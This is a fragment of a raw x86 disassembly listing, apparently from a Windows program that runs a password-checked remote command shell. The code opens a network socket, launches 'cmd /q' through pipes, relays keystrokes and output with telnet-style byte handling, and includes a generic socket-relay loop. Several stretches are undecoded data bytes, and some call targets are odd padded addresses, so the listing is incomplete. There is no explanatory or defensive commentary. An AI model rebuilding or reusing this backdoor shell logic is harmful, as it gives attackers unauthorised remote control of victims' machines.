push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push edi
nop
call near ptr 26D0000h
loc_4108BC: ; CODE XREF: ___:00410897j
push 2
lea eax, [ebp-18h]
push 4
push eax
call dword_4CAF2C
cmp eax, edi
jnz short loc_4108E6
push dword ptr [ebp-18h]
call dword_4CB000
push eax
lea eax, [ebp-0B0h]
push eax
call sub_41B886
jmp short loc_4108F4
; ---------------------------------------------------------------------------
loc_4108E6: ; CODE XREF: ___:004108CCj
push dword ptr [eax]
lea eax, [ebp-0B0h]
push eax
call sub_41BEB0
loc_4108F4: ; CODE XREF: ___:004108E4j
pop ecx
pop ecx
push edi
push ebx
push offset dword_43D128
push dword ptr [esi]
call dword_4CAFC4
cmp dword_4CDCD8, edi
jnz short loc_410956
push dword ptr [ebp-18h]
lea eax, [ebp-350h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
call sub_410A1E
add esp, 10h
test eax, eax
jnz short loc_410956
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CAFC4
push dword ptr [esi]
call dword_4CB00C
push dword ptr [ebp+8]
call sub_40B412
pop ecx
push edi
nop
call near ptr 26D0000h
loc_410956: ; CODE XREF: ___:0041090Bj
; ___:0041092Cj
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_434120
call sub_415220
push dword ptr [ebp+8]
call sub_410CD5
add esp, 10h
test eax, eax
jnz short loc_41099D
nop
call near ptr 2670D70h
push eax
push offset unk_4340F4
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 0Ch
push ebx
nop
call near ptr 26D0000h
loc_41099D: ; CODE XREF: ___:00410978j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2Ch]
push eax
push offset unk_4340C8
call sub_415220
push dword ptr [ebp+8]
call sub_40B412
add esp, 10h
push edi
nop
call near ptr 26D0000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4109C4 proc near ; CODE XREF: ___:00410859p
; ___:00410866p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CAF8C
cmp eax, 1
jnz short loc_410A14
mov esi, [ebp+arg_4]
loc_4109E2: ; CODE XREF: sub_4109C4+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_410A09
test al, al
jz short loc_410A18
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CAF8C
cmp eax, 1
jz short loc_4109E2
jmp short loc_410A14
; ---------------------------------------------------------------------------
loc_410A09: ; CODE XREF: sub_4109C4+27j
push offset unk_434188
call sub_415220
pop ecx
loc_410A14: ; CODE XREF: sub_4109C4+19j
; sub_4109C4+43j
xor eax, eax
jmp short loc_410A1B
; ---------------------------------------------------------------------------
loc_410A18: ; CODE XREF: sub_4109C4+2Bj
push 1
pop eax
loc_410A1B: ; CODE XREF: sub_4109C4+52j
pop esi
leave
retn
sub_4109C4 endp
; =============== S U B R O U T I N E =======================================
sub_410A1E proc near ; CODE XREF: ___:00410922p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_410A49
push [esp+arg_4]
push [esp+4+arg_0]
push offset dword_4341B4
call sub_415220
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_410A49: ; CODE XREF: sub_410A1E+11j
push 1
pop eax
retn
sub_410A1E endp
; ---------------------------------------------------------------------------
byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o
dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh
dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h
dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h
dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
dd 6857022Bh, 410CCBh, 35000AE8h, 0C0859002h, 0E8902975h
dd 22602B4h, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h
dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022BF5h
dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 89E24589h
dd 15FFE475h, 4CAFF4h, 0FB83D88Bh, 3B840FFFh, 8B000001h
dd 106AB445h, 234C069h, 98890000h, 43DEBCh, 50E0458Dh
dd 0A015FF53h, 85004CAFh, 17850FC0h, 68000001h, 7FFFFFFFh
dd 9C15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342A4h
dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB008h
dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
dd 0FFFF68h, 15FF5700h, 4CAF54h, 74FFF883h, 45B70FC5h
dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB00015h, 858D5000h
dd 0FFFFFBECh, 43426068h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh, 0A50CE850h
dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh, 0B4888924h
dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh, 4107BFh
dd 56F0458Dh, 13E89050h, 8B0225F8h, 0C969B84Dh, 234h, 8189C63Bh
dd 43DEC4h, 75391374h, 37850FC8h, 6AFFFFFFh, 7CE89032h
dd 0EB0225F7h, 29E890EDh, 50022601h, 43422468h, 45CEE800h
dd 59590000h, 7D8B03EBh, 815FF08h, 50004CAFh, 0FBEC858Dh
dd 0EC68FFFFh, 50004341h, 0AC15E8h, 0CC48300h, 75C47539h
dd 858D5620h, 0FFFFFBECh, 50C075FFh, 0FDF0858Dh, 0FF50FFFFh
dd 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h, 50FFFFFBh
dd 4507E8h, 0FF575900h, 4CB00C15h, 15FF5300h, 4CB00Ch
dd 0AECC15FFh, 75FF004Ch, 0A750E8B4h, 5659FFFFh, 0F336E890h
dd 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410CD5 proc near ; CODE XREF: ___:0041096Ep
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_410E26
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43DEBC[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_42707C
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_410FF8
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_410D40
call near ptr 2670D70h
nop
push eax
push offset unk_434384
call sub_415220
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_410D7A
; ---------------------------------------------------------------------------
loc_410D40: ; CODE XREF: sub_410CD5+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4110AA
lea eax, [ebp+var_C]
push ebx
push eax
call edi
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_410D81
call near ptr 2670D70h
nop
push eax
push offset unk_434384
call sub_415220
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call near ptr 2680D6Bh
nop
loc_410D7A: ; CODE XREF: sub_410CD5+69j
xor eax, eax
jmp loc_410E21
; ---------------------------------------------------------------------------
loc_410D81: ; CODE XREF: sub_410CD5+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call near ptr 2760D38h
nop
sub eax, ebx
jz short loc_410DDB
dec eax
jz short loc_410DD5
dec eax
jz short loc_410DC1
nop
call near ptr 2670D70h
push eax
push offset unk_434350
call sub_415220
pop ecx
pop ecx
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DC1: ; CODE XREF: sub_410CD5+D5j
mov edi, dword_4270AC
push ebx
push dword ptr [esi+14h]
call edi
push ebx
push dword ptr [esi+10h]
call edi
jmp short loc_410DF0
; ---------------------------------------------------------------------------
loc_410DD5: ; CODE XREF: sub_410CD5+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_410DDF
; ---------------------------------------------------------------------------
loc_410DDB: ; CODE XREF: sub_410CD5+CFj
push ebx
push dword ptr [esi+14h]
loc_410DDF: ; CODE XREF: sub_410CD5+104j
nop
call near ptr 2680D6Bh
push 1
push dword ptr [esi+8]
nop
call near ptr 26F0AA8h
loc_410DF0: ; CODE XREF: sub_410CD5+EAj
; sub_410CD5+FEj
push dword ptr [esi+10h]
mov edi, dword_427068
call edi
push dword ptr [esi+14h]
call edi
push dword ptr [esi+8]
call edi
push dword ptr [esi]
call edi
push dword ptr [esi+4]
call edi
push dword ptr [esi+0Ch]
call dword_4CB00C
push esi
call sub_41B0B1
pop ecx
push 1
pop eax
loc_410E21: ; CODE XREF: sub_410CD5+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_410CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410E26 proc near ; CODE XREF: sub_410CD5+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_410F10
mov ebx, dword_4270FC
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427068
test eax, eax
jnz short loc_410E89
nop
call near ptr 2670D70h
push eax
push offset unk_434434
jmp short loc_410EA9
; ---------------------------------------------------------------------------
loc_410E89: ; CODE XREF: sub_410E26+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_410EB1
nop
call near ptr 2670D70h
push eax
push offset unk_4343F4
loc_410EA9: ; CODE XREF: sub_410E26+61j
call sub_415220
pop ecx
jmp short loc_410EDF
; ---------------------------------------------------------------------------
loc_410EB1: ; CODE XREF: sub_410E26+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_410F1F
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_410F14
push offset unk_4343CC
call sub_4151AC
loc_410EDF: ; CODE XREF: sub_410E26+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_410EEB
push [ebp+var_4]
call edi
loc_410EEB: ; CODE XREF: sub_410E26+BEj
cmp [ebp+var_8], 0
jz short loc_410EF6
push [ebp+var_8]
call edi
loc_410EF6: ; CODE XREF: sub_410E26+C9j
mov eax, [esi]
test eax, eax
jz short loc_410EFF
push eax
call edi
loc_410EFF: ; CODE XREF: sub_410E26+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_410F09
push eax
call edi
loc_410F09: ; CODE XREF: sub_410E26+DEj
push esi
call sub_41B0B1
pop ecx
loc_410F10: ; CODE XREF: sub_410E26+1Dj
xor eax, eax
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F14: ; CODE XREF: sub_410E26+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_410F1A: ; CODE XREF: sub_410E26+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_410E26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F1F proc near ; CODE XREF: sub_410E26+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41B590
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41B590
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_4270F8
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 2700000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
nop
call near ptr 2660000h
test eax, eax
jz short loc_410FDB
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43DEB8[eax], ecx
nop
call near ptr 265098Dh
jmp short loc_410FF1
; ---------------------------------------------------------------------------
loc_410FDB: ; CODE XREF: sub_410F1F+9Aj
call near ptr 2670D70h
nop
push eax
push offset unk_434474
call sub_415220
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_410FF1: ; CODE XREF: sub_410F1F+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_410F1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410FF8 proc near ; DATA XREF: sub_410CD5+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270E8
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411021: ; CODE XREF: sub_410FF8+8Fj
call ebx
test eax, eax
jz short loc_411089
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_41105C
loc_411032: ; CODE XREF: sub_410FF8+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_41104C
cmp dl, 0Dh
jz short loc_41104C
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_41104C: ; CODE XREF: sub_410FF8+44j
; sub_410FF8+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411032
loc_41105C: ; CODE XREF: sub_410FF8+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CAFC4
test eax, eax
jle short loc_411089
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411021
; ---------------------------------------------------------------------------
loc_411089: ; CODE XREF: sub_410FF8+2Dj
; sub_410FF8+79j
mov esi, dword_42708C
call esi
cmp eax, 6Dh
jz short loc_4110A5
call esi
push eax
push offset dword_4344B4
call sub_415220
pop ecx
pop ecx
loc_4110A5: ; CODE XREF: sub_410FF8+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_410FF8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4110AA proc near ; DATA XREF: sub_410CD5+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_4110C3: ; CODE XREF: sub_4110AA+39j
; sub_4110AA+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CAF8C
test eax, eax
jle loc_4111C8
cmp [ebp+var_10], ebx
jbe short loc_4110E5
dec [ebp+var_10]
jmp short loc_4110C3
; ---------------------------------------------------------------------------
loc_4110E5: ; CODE XREF: sub_4110AA+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_4111A8
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411155
cmp al, 7Fh
jz short loc_411155
cmp al, 3
jnz short loc_411110
push ebx
push ebx
nop
call near ptr 2760DEDh
jmp short loc_41117C
; ---------------------------------------------------------------------------
loc_411110: ; CODE XREF: sub_4110AA+5Aj
cmp al, 15h
jnz short loc_411132
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411132: ; CODE XREF: sub_4110AA+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411169
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411168
; ---------------------------------------------------------------------------
loc_411155: ; CODE XREF: sub_4110AA+52j
; sub_4110AA+56j
cmp esi, ebx
jbe short loc_41117F
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411168: ; CODE XREF: sub_4110AA+86j
; sub_4110AA+A9j
pop ecx
loc_411169: ; CODE XREF: sub_4110AA+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CAFC4
test eax, eax
jle short loc_4111C8
loc_41117C: ; CODE XREF: sub_4110AA+64j
mov al, byte ptr [ebp+arg_0+3]
loc_41117F: ; CODE XREF: sub_4110AA+ADj
cmp al, 0Dh
jnz loc_4110C3
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
call near ptr 26E0000h
nop
test eax, eax
jz short loc_4111C8
xor esi, esi
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111A8: ; CODE XREF: sub_4110AA+47j
cmp [ebp+var_C], ebx
jnz short loc_4111B9
mov [ebp+var_C], 1
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111B9: ; CODE XREF: sub_4110AA+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_4110C3
; ---------------------------------------------------------------------------
loc_4111C8: ; CODE XREF: sub_4110AA+2Bj
; sub_4110AA+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4110AA endp
; ---------------------------------------------------------------------------
byte_4111CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2C07o
dd 2D4EC81h, 458B0000h, 57565308h, 0F08B106Ah, 2CBD8D5Bh
dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h, 0A8B889h
dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
dd 121850Fh, 0A6A0000h, 9C15FF57h, 85004CAFh, 10850FC0h
dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h, 0FFFF3085h
dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
dd 0C069C845h, 234h, 83C44D8Bh, 888920C4h, 43DEB4h, 5008458Dh
dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h, 25F105E8h
dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
dd 0FD87539h, 0FFFF6385h, 0E8056AFFh, 225F06Fh, 90EDEB90h
dd 25FA1BE8h, 858D5002h, 0FFFFFD2Ch, 43452468h, 1FE85000h
dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh, 75FF004Ch
dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh, 8B000005h
dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
dd 89016AD4h, 0F6690875h, 234h, 0BCB68D5Fh, 890043DEh
dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh
dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h, 0FF004CB0h
dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Bh, 0FB30858Dh
dd 868FFFFh, 50000004h, 15FF36FFh, 4CAF8Ch, 187FC085h
dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
dd 5DFFFFFBh, 0A0A3E8h, 18C48300h, 0FB30858Dh, 6A53FFFFh
dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
dd 9F00E808h, 5359FFFFh, 2BEAE7E8h, 106A9002h, 53E8458Dh
dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh, 50004CAFh
dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h
dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0AFC415FFh
dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h, 5359FFFFh
dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h, 83004CAFh
dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
dd 4006800h, 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h
dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h, 4CB00C15h
dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2BE9DFE8h, 4006802h
dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
dd 5359FFFFh, 0E982E890h, 36FF022Bh, 0B00C15FFh, 75FF004Ch
dd 9D84E808h, 5359FFFFh, 2BE96BE8h
db 2, 90h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4116AC: ; CODE XREF: ___:0041175Bj
; ___:0041178Bj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4116C4: ; CODE XREF: ___:004116D2j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4116D4
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4116C4
loc_4116D4: ; CODE XREF: ___:004116C9j
cmp ecx, 1
jnz short loc_4116E9
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4116E9: ; CODE XREF: ___:004116D7j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CAF5C
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CAE60
test eax, eax
jz short loc_411749
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jz short loc_411791
loc_411749: ; CODE XREF: ___:0041171Bj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CAE60
test eax, eax
jz loc_4116AC
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CAF8C
cmp eax, 0FFFFFFFFh
jz short loc_411791
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz loc_4116AC
loc_411791: ; CODE XREF: ___:00411730j
; ___:00411747j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
word_411796 dw 8B55h ; DATA XREF: sub_401ACD+210Do
; sub_40BACD+106o
dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah, 0FE9C85FFh
dd 26AFFFFh, 89F04589h, 4589EC45h, 0A08289F8h, 0FF000002h
dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0D0E89000h
dd 390225EBh, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h, 0B5FF0000h
dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2BE7CBE8h, 458D9002h
dd 50046AF0h, 0FFFFBFh, 57046A00h, 5415FF56h, 8D004CAFh
dd 46AEC45h, 57FB6A50h, 5415FF56h, 8B004CAFh, 0FFFE9885h
dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h, 0AFA015FFh
dd 0F883004Ch, 681975FFh, 1388h, 0EB09E890h, 8DFF0225h
